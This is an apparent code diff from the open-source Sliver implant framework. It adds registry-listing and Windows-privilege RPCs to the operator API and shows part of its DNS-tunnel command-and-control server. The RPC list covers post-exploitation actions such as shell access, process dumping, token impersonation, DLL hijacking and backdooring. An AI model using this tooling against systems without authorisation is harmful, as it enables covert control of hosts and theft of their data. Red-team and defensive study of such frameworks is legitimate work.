66, // 88: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
67, // 89: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
68, // 90: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
69, // 91: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
70, // 92: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
71, // 93: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
72, // 94: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
73, // 95: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
73, // 96: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
74, // 97: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 98: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
75, // 99: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
76, // 100: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
77, // 101: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
0, // 102: rpcpb.SliverRPC.KillSession:output_type -> commonpb.Empty
78, // 103: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
79, // 104: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 105: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
80, // 106: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
81, // 107: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
82, // 108: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
83, // 109: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
84, // 110: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
85, // 111: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
85, // 112: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
86, // 113: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
86, // 114: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
9, // 115: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 116: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
9, // 117: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
9, // 118: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
87, // 119: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
87, // 120: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
88, // 121: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
88, // 122: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
89, // 123: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 124: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
90, // 125: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
91, // 126: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
92, // 127: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
93, // 128: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 129: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
13, // 130: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
94, // 131: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
95, // 132: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
96, // 133: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
97, // 134: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
16, // 135: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 136: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
16, // 137: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
16, // 138: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
16, // 139: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
19, // 140: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
98, // 141: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
99, // 142: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
100, // 143: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
101, // 144: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
102, // 145: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
103, // 146: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
103, // 147: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
104, // 148: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
105, // 149: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
106, // 150: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
107, // 151: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
108, // 152: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
109, // 153: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
110, // 154: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
111, // 155: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
112, // 156: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
113, // 157: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
0, // 158: rpcpb.SliverRPC.Msf:output_type -> commonpb.Empty
0, // 159: rpcpb.SliverRPC.MsfRemote:output_type -> commonpb.Empty
114, // 160: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
115, // 161: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
116, // 162: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
116, // 163: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
117, // 164: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
118, // 165: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
119, // 166: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
120, // 167: rpcpb.SliverRPC.NamedPipes:output_type -> sliverpb.NamedPipes
121, // 168: rpcpb.SliverRPC.TCPListener:output_type -> sliverpb.TCPPivot
122, // 169: rpcpb.SliverRPC.ListPivots:output_type -> sliverpb.PivotList
123, // 170: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
123, // 171: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
123, // 172: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
124, // 173: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
125, // 174: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
126, // 175: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
127, // 176: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
128, // 177: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
129, // 178: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
130, // 179: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
131, // 180: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
132, // 181: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
133, // 182: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
134, // 183: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
135, // 184: rpcpb.SliverRPC.HijackDLL:output_type -> sliverpb.DllHijack
136, // 185: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
137, // 186: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
137, // 187: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
138, // 188: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
138, // 189: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
139, // 190: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
140, // 191: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
141, // 192: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
142, // 193: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
73, // 194: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 195: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
74, // 196: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
143, // 197: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
99, // [99:198] is the sub-list for method output_type
0, // [0:99] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
+3
View File
@@ -112,8 +112,11 @@ service SliverRPC {
rpc RegistryRead(sliverpb.RegistryReadReq) returns (sliverpb.RegistryRead);
rpc RegistryWrite(sliverpb.RegistryWriteReq) returns (sliverpb.RegistryWrite);
rpc RegistryCreateKey(sliverpb.RegistryCreateKeyReq) returns (sliverpb.RegistryCreateKey);
rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
rpc HijackDLL(sliverpb.DllHijackReq) returns (sliverpb.DllHijack);
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
// *** Wireguard Specific ***
rpc WGStartPortForward(sliverpb.WGPortForwardStartReq) returns (sliverpb.WGPortForward);
+108
View File
@@ -114,8 +114,11 @@ type SliverRPCClient interface {
RegistryRead(ctx context.Context, in *sliverpb.RegistryReadReq, opts ...grpc.CallOption) (*sliverpb.RegistryRead, error)
RegistryWrite(ctx context.Context, in *sliverpb.RegistryWriteReq, opts ...grpc.CallOption) (*sliverpb.RegistryWrite, error)
RegistryCreateKey(ctx context.Context, in *sliverpb.RegistryCreateKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryCreateKey, error)
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error)
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
// *** Wireguard Specific ***
WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
WGStopPortForward(ctx context.Context, in *sliverpb.WGPortForwardStopReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
@@ -880,6 +883,24 @@ func (c *sliverRPCClient) RegistryCreateKey(ctx context.Context, in *sliverpb.Re
return out, nil
}
func (c *sliverRPCClient) RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error) {
out := new(sliverpb.RegistrySubKeyList)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListSubKeys", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error) {
out := new(sliverpb.RegistryValuesList)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListValues", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error) {
out := new(sliverpb.SSHCommand)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RunSSHCommand", in, out, opts...)
@@ -898,6 +919,15 @@ func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *sliverpb.DllHijackR
return out, nil
}
func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error) {
out := new(sliverpb.GetPrivs)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetPrivs", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) {
out := new(sliverpb.WGPortForward)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartPortForward", in, out, opts...)
@@ -1148,8 +1178,11 @@ type SliverRPCServer interface {
RegistryRead(context.Context, *sliverpb.RegistryReadReq) (*sliverpb.RegistryRead, error)
RegistryWrite(context.Context, *sliverpb.RegistryWriteReq) (*sliverpb.RegistryWrite, error)
RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error)
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error)
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
// *** Wireguard Specific ***
WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error)
WGStopPortForward(context.Context, *sliverpb.WGPortForwardStopReq) (*sliverpb.WGPortForward, error)
@@ -1419,12 +1452,21 @@ func (UnimplementedSliverRPCServer) RegistryWrite(context.Context, *sliverpb.Reg
func (UnimplementedSliverRPCServer) RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryCreateKey not implemented")
}
func (UnimplementedSliverRPCServer) RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryListSubKeys not implemented")
}
func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryListValues not implemented")
}
func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
}
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
return nil, status.Errorf(codes.Unimplemented, "method HijackDLL not implemented")
}
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
}
func (UnimplementedSliverRPCServer) WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error) {
return nil, status.Errorf(codes.Unimplemented, "method WGStartPortForward not implemented")
}
@@ -2950,6 +2992,42 @@ func _SliverRPC_RegistryCreateKey_Handler(srv interface{}, ctx context.Context,
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegistryListSubKeys_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegistrySubKeyListReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).RegistryListSubKeys(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/RegistryListSubKeys",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryListSubKeys(ctx, req.(*sliverpb.RegistrySubKeyListReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegistryListValues_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegistryListValuesReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).RegistryListValues(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/RegistryListValues",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryListValues(ctx, req.(*sliverpb.RegistryListValuesReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.SSHCommandReq)
if err := dec(in); err != nil {
@@ -2986,6 +3064,24 @@ func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.GetPrivsReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).GetPrivs(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/GetPrivs",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetPrivs(ctx, req.(*sliverpb.GetPrivsReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_WGStartPortForward_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.WGPortForwardStartReq)
if err := dec(in); err != nil {
@@ -3548,6 +3644,14 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "RegistryCreateKey",
Handler: _SliverRPC_RegistryCreateKey_Handler,
},
{
MethodName: "RegistryListSubKeys",
Handler: _SliverRPC_RegistryListSubKeys_Handler,
},
{
MethodName: "RegistryListValues",
Handler: _SliverRPC_RegistryListValues_Handler,
},
{
MethodName: "RunSSHCommand",
Handler: _SliverRPC_RunSSHCommand_Handler,
@@ -3556,6 +3660,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "HijackDLL",
Handler: _SliverRPC_HijackDLL_Handler,
},
{
MethodName: "GetPrivs",
Handler: _SliverRPC_GetPrivs_Handler,
},
{
MethodName: "WGStartPortForward",
Handler: _SliverRPC_WGStartPortForward_Handler,
+16
View File
@@ -242,6 +242,15 @@ const (
// MsgSSHCommandReq - Run a SSH command
MsgSSHCommandReq
// MsgGetPrivsReq - Get privileges (Windows)
MsgGetPrivsReq
// MsgRegistryListReq - List registry sub keys
MsgRegistrySubKeysListReq
// MsgRegistryListValuesReq - List registry values
MsgRegistryListValuesReq
)
// Constants to replace enums
@@ -464,6 +473,13 @@ func MsgNumber(request proto.Message) uint32 {
return MsgPollInterval
case *SSHCommandReq:
return MsgSSHCommandReq
case *GetPrivsReq:
return MsgGetPrivsReq
case *RegistrySubKeyListReq:
return MsgRegistrySubKeysListReq
case *RegistryListValuesReq:
return MsgRegistryListValuesReq
}
return uint32(0)
File diff suppressed because it is too large. Load diff
+52
View File
@@ -47,6 +47,7 @@ message Register {
uint32 ReconnectInterval = 13;
string ProxyURL = 14;
uint32 PollInterval = 15;
string ConfigID = 16;
}
// Ping - Not ICMP, just sends a rount trip message to an implant to
@@ -120,6 +121,8 @@ message Ls {
string Path = 1;
bool Exists = 2;
repeated FileInfo Files = 3;
string timezone = 4;
int32 timezoneOffset = 5;
commonpb.Response Response = 9;
}
@@ -128,6 +131,8 @@ message FileInfo {
string Name = 1;
bool IsDir = 2;
int64 Size = 3;
int64 ModTime = 4;
string Mode = 5;
}
message CdReq {
@@ -559,6 +564,32 @@ message RegistryCreateKey {
commonpb.Response Response = 9;
}
message RegistrySubKeyListReq {
string Hive = 1;
string Path = 2;
// Keep the same ID as the other registry operations
string Hostname = 4;
commonpb.Request Request = 9;
}
message RegistrySubKeyList {
repeated string Subkeys = 1;
commonpb.Response Response = 9;
}
message RegistryListValuesReq {
string Hive = 1;
string Path = 2;
// Keep the same ID as the other registry operations
string Hostname = 4;
commonpb.Request Request = 9;
}
message RegistryValuesList {
repeated string ValueNames = 1;
commonpb.Response Response = 9;
}
// Tunnel - Tunnel related messages
message Tunnel {
uint64 TunnelID = 8 [jstype = JS_STRING];
@@ -782,5 +813,26 @@ message DllHijackReq {
}
message DllHijack {
commonpb.Response Response = 9;
}
message GetPrivsReq {
commonpb.Request Request = 9;
}
message WindowsPrivilegeEntry {
string Name = 1;
string Description = 2;
bool Enabled = 3;
bool EnabledByDefault = 4;
bool Removed = 5;
bool UsedForAccess = 6;
}
message GetPrivs {
repeated WindowsPrivilegeEntry PrivInfo = 1;
string ProcessIntegrity = 2;
string ProcessName = 3;
commonpb.Response Response = 9;
}
+827
View File
@@ -0,0 +1,827 @@
package c2
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
---
DNS Tunnel Implementation
*/
import (
"crypto/sha256"
"crypto/x509"
"math"
"net"
"sort"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/generate"
"encoding/base32"
"encoding/base64"
"encoding/binary"
"encoding/pem"
secureRand "crypto/rand"
"errors"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"sync"
"time"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
serverHandlers "github.com/bishopfox/sliver/server/handlers"
"github.com/bishopfox/sliver/server/log"
"github.com/miekg/dns"
"google.golang.org/protobuf/proto"
)
const (
sessionIDSize = 12
domainKeyMsg = "_domainkey"
blockReqMsg = "b"
clearBlockMsg = "cb"
sessionInitMsg = "si"
sessionPollingMsg = "sp"
sessionEnvelopeMsg = "se"
// Max TXT record is 255, records are b64 so (n*8 + 5) / 6 = ~250
byteBlockSize = 185 // Can be as high as n = 187, but we'll leave some slop
blockIDSize = 6
)
var (
dnsLog = log.NamedLogger("c2", "dns")
dnsCharSet = []rune("abcdefghijklmnopqrstuvwxyz0123456789_")
sendBlocksMutex = &sync.RWMutex{}
sendBlocks = &map[string]*SendBlock{}
dnsSessionsMutex = &sync.RWMutex{}
dnsSessions = &map[string]*DNSSession{}
blockReassemblerMutex = &sync.RWMutex{}
blockReassembler = &map[string][][]byte{}
dnsSegmentReassemblerMutex = &sync.RWMutex{}
dnsSegmentReassembler = &map[string](*map[int][]string){}
)
// SendBlock - Data is encoded and split into `Blocks`
type SendBlock struct {
ID string
Data []string
}
// DNSSession - Holds DNS session information
type DNSSession struct {
ID string
Session *core.Session
Key cryptography.AESKey
replay map[string]bool // Sessions are mutex 'd
}
func (s *DNSSession) isReplayAttack(ciphertext []byte) bool {
if len(ciphertext) < 1 {
return false
}
sha := sha256.New()
sha.Write(ciphertext)
digest := base64.RawStdEncoding.EncodeToString(sha.Sum(nil))
if _, ok := s.replay[digest]; ok {
return true
}
s.replay[digest] = true
return false
}
// --------------------------- DNS SERVER ---------------------------
// StartDNSListener - Start a DNS listener
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *dns.Server {
StartPivotListener()
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
req.Question[0].Name = strings.ToLower(req.Question[0].Name)
handleDNSRequest(domains, canaries, writer, req)
})
server := &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"}
return server
}
// DNSRequest -> C2 or canary?
func handleDNSRequest(domains []string, canaries bool, writer dns.ResponseWriter, req *dns.Msg) {
if req == nil {
dnsLog.Info("req can not be nil")
return
}
if len(req.Question) < 1 {
dnsLog.Info("No questions in DNS request")
return
}
var resp *dns.Msg
isC2, domain := isC2SubDomain(domains, req.Question[0].Name)
if isC2 {
dnsLog.Debugf("'%s' is subdomain of c2 parent '%s'", req.Question[0].Name, domain)
resp = handleC2(domain, req)
} else if canaries {
dnsLog.Debugf("checking '%s' for DNS canary matches", req.Question[0].Name)
resp = handleCanary(req)
}
if resp != nil {
// dnsLog.Debug(resp.String())
writer.WriteMsg(resp)
} else {
dnsLog.Infof("Invalid query, no DNS response")
}
}
// Returns true if the requested domain is a c2 subdomain, and the domain it matched with
func isC2SubDomain(domains []string, reqDomain string) (bool, string) {
for _, parentDomain := range domains {
if dns.IsSubDomain(parentDomain, reqDomain) {
dnsLog.Infof("'%s' is subdomain of '%s'", reqDomain, parentDomain)
return true, parentDomain
}
}
dnsLog.Infof("'%s' is NOT subdomain of any %v", reqDomain, domains)
return false, ""
}
// C2 -> Record type?
func handleC2(domain string, req *dns.Msg) *dns.Msg {
subdomain := req.Question[0].Name[:len(req.Question[0].Name)-len(domain)]
if strings.HasSuffix(subdomain, ".") {
subdomain = subdomain[:len(subdomain)-1]
}
dnsLog.Infof("processing req for subdomain = %s", subdomain)
switch req.Question[0].Qtype {
case dns.TypeTXT:
return handleTXT(domain, subdomain, req)
default:
}
return nil
}
// Canary -> valid? -> trigger alert event
func handleCanary(req *dns.Msg) *dns.Msg {
reqDomain := strings.ToLower(req.Question[0].Name)
if !strings.HasSuffix(reqDomain, ".") {
reqDomain += "." // Ensure we have the FQDN
}
canary, err := db.CanaryByDomain(reqDomain)
if err != nil {
return nil
}
resp := new(dns.Msg)
resp.SetReply(req)
if canary != nil {
dnsLog.Warnf("DNS canary tripped for '%s'", canary.ImplantName)
if !canary.Triggered {
// Defer publishing the event until we're sure the db is sync'd
defer core.EventBroker.Publish(core.Event{
Session: &core.Session{
Name: canary.ImplantName,
},
Data: []byte(canary.Domain),
EventType: consts.CanaryEvent,
})
canary.Triggered = true
canary.FirstTrigger = time.Now()
}
canary.LatestTrigger = time.Now()
canary.Count++
generate.UpdateCanary(canary)
}
// Respond with random IPs
switch req.Question[0].Qtype {
case dns.TypeA:
resp.Answer = append(resp.Answer, &dns.A{
Hdr: dns.RR_Header{Name: req.Question[0].Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 0},
A: randomIP(),
})
default:
}
return resp
}
// handles the c2 TXT record interactions, kind hacky this probably needs to get refactored at some point
func handleTXT(domain string, subdomain string, req *dns.Msg) *dns.Msg {
q := req.Question[0]
fields := strings.Split(subdomain, ".")
resp := new(dns.Msg)
resp.SetReply(req)
msgType := strings.ToLower(fields[len(fields)-1])
switch msgType {
case domainKeyMsg: // Send PubKey - _(nonce).(slivername).domainkey.example.com
result, err := getDomainKeyFor(domain)
if err != nil {
dnsLog.Infof("Error during session init: %v", err)
}
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: result,
}
resp.Answer = append(resp.Answer, txt)
case blockReqMsg: // Get block: _(nonce).(start).(stop).(block id).b.example.com
if len(fields) == 5 {
startIndex := fields[1]
stopIndex := fields[2]
blockID := fields[3]
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: dnsSendBlocks(blockID, startIndex, stopIndex),
}
resp.Answer = append(resp.Answer, txt)
} else {
dnsLog.Infof("Block request has invalid number of fields %d expected %d", len(fields), 5)
}
case clearBlockMsg: // Clear block: _(nonce).(block id)._cb.example.com
if len(fields) == 3 {
result := 0
if clearSendBlock(fields[1]) {
result = 1
}
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: []string{fmt.Sprintf("%d", result)},
}
resp.Answer = append(resp.Answer, txt)
}
case "_" + sessionInitMsg:
fallthrough
case sessionInitMsg: // Session init: (data)...(seq).(nonce).(_)si.example.com
result, err := startDNSSession(domain, fields)
if err != nil {
